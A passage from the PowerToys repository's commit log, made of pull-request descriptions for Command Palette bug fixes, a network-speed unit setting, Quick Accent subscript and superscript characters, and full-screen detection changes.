<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [x] **Tests:** Added/updated and all pass
- [x] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
1. Set up the ImageResizer as the startup project.
2. Start in visual studio.

---------

Co-authored-by: Yu Leng (from Dev Box) <yuleng@microsoft.com>
Co-authored-by: Niels Laute <niels.laute@live.nl>
Co-authored-by: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-04-01 16:22:33 +08:00
Niels Laute
ee70b3ceca Fix for CmdPal settings page offset (#46568)
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request

This is a weird bug in WinUI where a child panel gets a weird offset
when wrapped in a `ScrollViewer` and if it has a `MaxWidth`. The
solution is to wrap it with another panel 🤷

Top: with fix
Bottom: 0.98.1
<img width="1351" height="1259" alt="image"
src="https://github.com/user-attachments/assets/076ac947-58d1-4031-8be3-300a8511a636"
/>


<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [x] Closes: #46238
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed

---------

Co-authored-by: Copilot <175728472+Copilot@users.noreply.github.com>
Co-authored-by: Jiří Polášek <me@jiripolasek.com>
2026-04-01 05:46:06 +00:00
Copilot
7cc4a16aa7 Add setting to select network speed units in Command Palette (#46320)
## Summary of the Pull Request

Adds a unit selection setting to the Performance Monitor extension in
Command Palette that allows users to choose how network transmission
speed is displayed. The setting offers three options: bits per second
(Kbps/Mbps/Gbps, the default), bytes per second (KB/s/MB/s/GB/s), and
binary bytes per second using IEC prefixes (KiB/s/MiB/s/GiB/s).

## PR Checklist

- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

## Detailed Description of the Pull Request / Additional comments

The following files were changed:

- **`NetworkSpeedUnit.cs`** (new): Enum defining the three supported
unit modes — `BitsPerSecond`, `BytesPerSecond`, and
`BinaryBytesPerSecond`.

- **`SettingsManager.cs`** (new): A `JsonSettingsManager` subclass for
the Performance Monitor extension. Defines a `ChoiceSetSetting` for
`NetworkSpeedUnit` (default: `BitsPerSecond`), stored under the
`performanceMonitor` namespace in the shared CmdPal `settings.json`.

- **`PerformanceWidgetsPage.cs`**:
- `PerformanceWidgetsPage` constructor now accepts `SettingsManager` and
passes it to `SystemNetworkUsageWidgetPage`.
- `SystemNetworkUsageWidgetPage` stores the settings manager and calls
`SpeedToString()`, which dispatches via a switch expression to
`FormatAsBitsPerSecString()` (e.g. `12.5 Mbps`),
`FormatAsBytesPerSecString()` (e.g. `1.6 MB/s`), or
`FormatAsBinaryBytesPerSecString()` (e.g. `1.5 MiB/s`) based on the
selected unit.

- **`PerformanceMonitorCommandsProvider.cs`**: Holds the
`SettingsManager`, passes it to both the list page and dock band via
`SetEnabledState()`, exposes `Settings` on the provider, and adds the
settings page to the command's `MoreCommands`. The crash-recovery
hardening from main (`ProviderCrashSentinel`,
`TryReactivateImmediately`, `SetDisabledState`, thread-safe locking) is
fully preserved and integrated with the settings manager.

- **`Resources.resw`**: Updated `Network_Speed_Unit_Setting_Title` and
`Network_Speed_Unit_Setting_Description` to neutral language; added
three choice label strings (`Network_Speed_Unit_BitsPerSec`,
`Network_Speed_Unit_BytesPerSec`,
`Network_Speed_Unit_BinaryBytesPerSec`). Also includes the
disabled-state strings merged from main.

## Validation Steps Performed

- Manually verified that the setting appears in the Performance Monitor
extension's settings page (accessible via the ⋯ context menu on the
Performance Monitor command item).
- Verified that network speed values display in Kbps/Mbps/Gbps by
default, switch to KB/s/MB/s/GB/s when the bytes option is selected, and
switch to KiB/s/MiB/s/GiB/s when the binary bytes option is selected.
- Setting persists across Command Palette restarts via the shared CmdPal
settings file.
- Verified that the crash-recovery re-enable flow correctly restores
pages with the settings manager wired up.

<!-- START COPILOT ORIGINAL PROMPT -->



<details>

<summary>Original prompt</summary>

> 
> ----
> 
> *This section details on the original issue you should resolve*
> 
> <issue_title>[Command Palette] Allows network transmission speed units
to be switched between bits per second and bytes per
second</issue_title>
> <issue_description>### Description of the new feature / enhancement
> 
> Add a setting that allows network monitoring in the Command Palette
Dock to be displayed in bytes per second.
> 
> ### Scenario when this would be used?
> 
> In everyday usage, byte units are more commonly used.
> 
> ### Supporting information
> 
> _No response_</issue_description>
> 
> ## Comments on the Issue (you are @copilot in this section)
> 
> <comments>
> <comment_new><author>@niels9001</author><body>
> @copilot Can you add a setting for this?</body></comment_new>
> </comments>
> 


</details>



<!-- START COPILOT CODING AGENT SUFFIX -->

- Fixes microsoft/PowerToys#46271

<!-- START COPILOT CODING AGENT TIPS -->
---

 Let Copilot coding agent [set things up for
you](https://github.com/microsoft/PowerToys/issues/new?title=+Set+up+Copilot+instructions&body=Configure%20instructions%20for%20this%20repository%20as%20documented%20in%20%5BBest%20practices%20for%20Copilot%20coding%20agent%20in%20your%20repository%5D%28https://gh.io/copilot-coding-agent-tips%29%2E%0A%0A%3COnboard%20this%20repo%3E&assignees=copilot)
— coding agent works faster and does higher quality work when set up for
your repo.

---------

Co-authored-by: copilot-swe-agent[bot] <198982749+Copilot@users.noreply.github.com>
Co-authored-by: niels9001 <9866362+niels9001@users.noreply.github.com>
2026-03-31 20:25:03 -05:00
Salehnaz
8c8c99c382 Add subscript & superscript characters for Quick Accent #41922 (#45540)
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
This PR adds subscript and superscript characters to the "Special
Characters" set in Quick Accent. This addresses the request in issue
#41922, allowing users to easily type common mathematical notations
(e.g., x², H₂O) using the Quick Accent menu.

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [x] Closes: #41922
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

The following Unicode subscript and superscript variants were added to
[GetDefaultLetterKeySPECIAL](cci:1://file:///c:/Users/user/Desktop/salehcode/opensource/contribution/Linuxcontrib/PowerToys/src/modules/poweraccent/PowerAccent.Core/Languages.cs:185:8-236:9)
in
[Languages.cs](cci:7://file:///c:/Users/user/Desktop/salehcode/opensource/contribution/Linuxcontrib/PowerToys/src/modules/poweraccent/PowerAccent.Core/Languages.cs:0:0-0:0):

- **0**: ₀, ⁰, ⁾, ₎
- **9**: ₉, ⁹, ⁽, ₍
- **A**: ᵃ, ₐ
- **E**: ᵉ, ₑ
- **N**: ₙ
- **X**: ˣ, ₓ
- **Y**: ʸ
- **Z**: ᶻ
- **+**: ₌, ⁼ (equals signs)
- **-**: ₋, ⁻ (minus signs)
- *****: ˣ, ₓ (multiplication sign variants)

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
Verified that the Unicode codepoints correspond to the correct subscript
and superscript glyphs. This change only modifies the static data list
used by Quick Accent and does not alter any logic.

---------

Co-authored-by: saleh <saleh@interlandtech.com>
2026-03-31 17:35:28 +08:00
Jiří Polášek
feae285c40 CmdPal: Revert focus restoration on Extensions settings page (#46642)
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request

This PR reverts focus restoration to the previously selected item in the
list on the Extensions page in the Settings window, as it
unintentionally caused the wrong item to open on click.

This reverts commit cb9d54317a.

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [x] Closes: #46641
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
2026-03-30 21:28:36 -05:00
Jiří Polášek
c34fb7f953 CmdPal: Harden ListViewModel fetch synchronization (#46429)
## Summary of the Pull Request

This PR improves fetching of list items in ListViewModel:
- Fixes _vmCache concurrency with copy-on-write cache publication.
- Preserves latest-fetch-wins behavior across overlapping RPC GetItems()
calls.
- Prevents stale or canceled fetches from publishing and makes them
abort promptly.
- Improves cancellation cleanup for abandoned item view models and
replaced token sources.
- Updates empty-state tracking to follow overlapping fetch activity
correctly.
- Reduces hot-path cache overhead by removing per-item cache locking and
full cache rebuilds.
- Adds guard against re-entry, to prevent situations like #46329:
- Defers ItemsChanged-triggered fetches raised during GetItems() until
the call unwinds;
- Uses a thread-local reentry guard so unrelated cross-thread fetches
are not delayed;
- Adds a regression test covering recursive GetItems() refresh behavior.
- Make sure we never invoke FetchItems on UI thread, and be loud in
debug when we are.

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [x] Closes: #46331
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
2026-03-30 21:27:08 -05:00
Jiří Polášek
7d171a4428 Repository: Add .claude local settings to .gitignore (#46630)
## Summary of the Pull Request

This PR adds rule to .gitignore to exclude Claude AI local settings
files (settings.local.json under .claude directories) from version
control. This prevents accidental commits of local-only configuration.

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
2026-03-30 21:02:01 -05:00
Jiří Polášek
2d037c4e91 CmdPal: Fix bad merge (#46639)
## Summary of the Pull Request

This PR fix merge inconsistency caused by concurrent changes
(0b7d780980 and
a022a9f024).

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
2026-03-30 20:40:28 +00:00
Jiří Polášek
0a69c93b87 PowerToys Extension: Include deps in Microsoft.CmdPal.Ext.PowerToys slnf (#46136)
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request

This PR updates Microsoft.CmdPal.Ext.PowerToys solution filter (slnf) to
include new dependencies.

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed

---------

Co-authored-by: vanzue <vanzue@outlook.com>
2026-03-30 22:12:56 +02:00
Jiří Polášek
a022a9f024 CmdPal: Make Dock stay on top of all other windows (#46163)
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request

This PR makes Dock stay on top of all other windows:

- Marks the Dock window as topmost when there is no full-screen window.
- Adds a new option that allows the user to disable this behavior.
- Adds a timer that polls the system API to determine whether a
full-screen window is present.

## Pictures? Pictures!

<img width="560" height="283" alt="image"
src="https://github.com/user-attachments/assets/55346005-2fac-4357-88bd-60c899565fac"
/>



https://github.com/user-attachments/assets/b81bff6d-4616-4d17-a1b0-063d254022ed


<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [x] Closes: #46161
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
2026-03-30 12:11:40 -05:00
Jiří Polášek
0b7d780980 CmdPal: improve full-screen detection (#45891)
## Summary of the Pull Request

This PR improves fullscreen detection for the Command Palette activation
shortcut, adds a separate "busy state" guard, surfaces live notification
state diagnostics in Settings, and provides an opt-in rapid-press
breakthrough to bypass suppression.

The existing fullscreen guard lumped D3D fullscreen, presentation mode,
and the heuristic QUNS_BUSY state into a single check. This made it
impossible to opt into guarding against only true fullscreen while
ignoring false positives from apps like NVIDIA overlay. This PR splits
those concerns, adds diagnostic visibility, and gives users an escape
hatch.

The problem with the detection is that QUNS_RUNNING_D3D_FULL_SCREEN is
intended for exclusive D3D full-screen apps (some games), but it
overlaps with QUNS_BUSY for other games and apps.

  - Splits the fullscreen guard into two separate settings
- IsWindowFullscreen() now only checks QUNS_RUNNING_D3D_FULL_SCREEN and
QUNS_PRESENTATION_MODE
    - New IsAppBusy() handles the heuristic QUNS_BUSY state separately
- New IgnoreShortcutWhenBusy setting (off by default) so users aren't
silently blocked by false positives
- Migrates from hand-written P/Invoke (NativeMethods.cs, deleted) to
CsWin32-generated bindings
- Adds a live InfoBar in Activation settings when the shortcut is
limited
- Polls SHQueryUserNotificationState every 2 seconds via DispatcherTimer
- Displays a warning describing which state is active (D3D fullscreen,
presentation mode, or busy)
- New GetUserNotificationState() in WindowHelper exposes the raw state
for the UI
  - Attributes QUNS_BUSY to known trigger apps
- New FindVisibleTriggerApps() enumerates windows by class name and
process name against a known-app list
- When NVIDIA Overlay (or other known apps) are detected, the InfoBar
message names the likely culprit
  - Adds an opt-in rapid-press breakthrough to bypass suppression
    - New AllowBreakthroughShortcut setting (off by default)
- Pressing the activation shortcut 3 times within 2 seconds overrides
the guard
- The suppression is automatically bypassed when the Command Palette is
visible - to allow dismissal

## Pictures? Pictures!

<img width="1112" height="769" alt="image"
src="https://github.com/user-attachments/assets/e1d64ace-cfb2-4ba1-a436-3d2d77c18c76"
/>

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [x] Closes: #45548
- [x] Closes: #41225
- [x] Closes: #42716
- [x] Closes: #45875
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
2026-03-29 21:39:11 -05:00
Jiří Polášek
7685cd1226 CmdPal: Fix binary file corruption in Create Extension (#46490)
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request

This PR fixes a problem with invisible icons in newly create Command
Palette extensions, when created through built-in command:

- Avoids modifying binary files during extension creation from the
template to prevent corruption.
- Refactors template expansion and physical extension creation into a
separate ExtensionTemplateService.
- Adds unit tests.

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [x] Closes: #46448
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
2026-03-28 16:11:07 -05:00
Jiří Polášek
72bdfb073b CmdPal: Fix exception when converting calc result to different bases (#46176)
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request

This PR fixes an exception that prevents showing result for big items:
- Uses `BigInteger` and custom base converter for secondary results menu
items.
- Adds extra error handler to prevent exception when creating a
secondary menu item from showing the main result to the user.
- Adds some unit tests for the new base converter.

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [x] Closes: #46167
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
2026-03-28 16:09:06 -05:00
Jiří Polášek
96f97064be CmdPal: Fix type rename missed during merge gap (#46599)
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request

See title

Regressed by: 4cb3359314

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

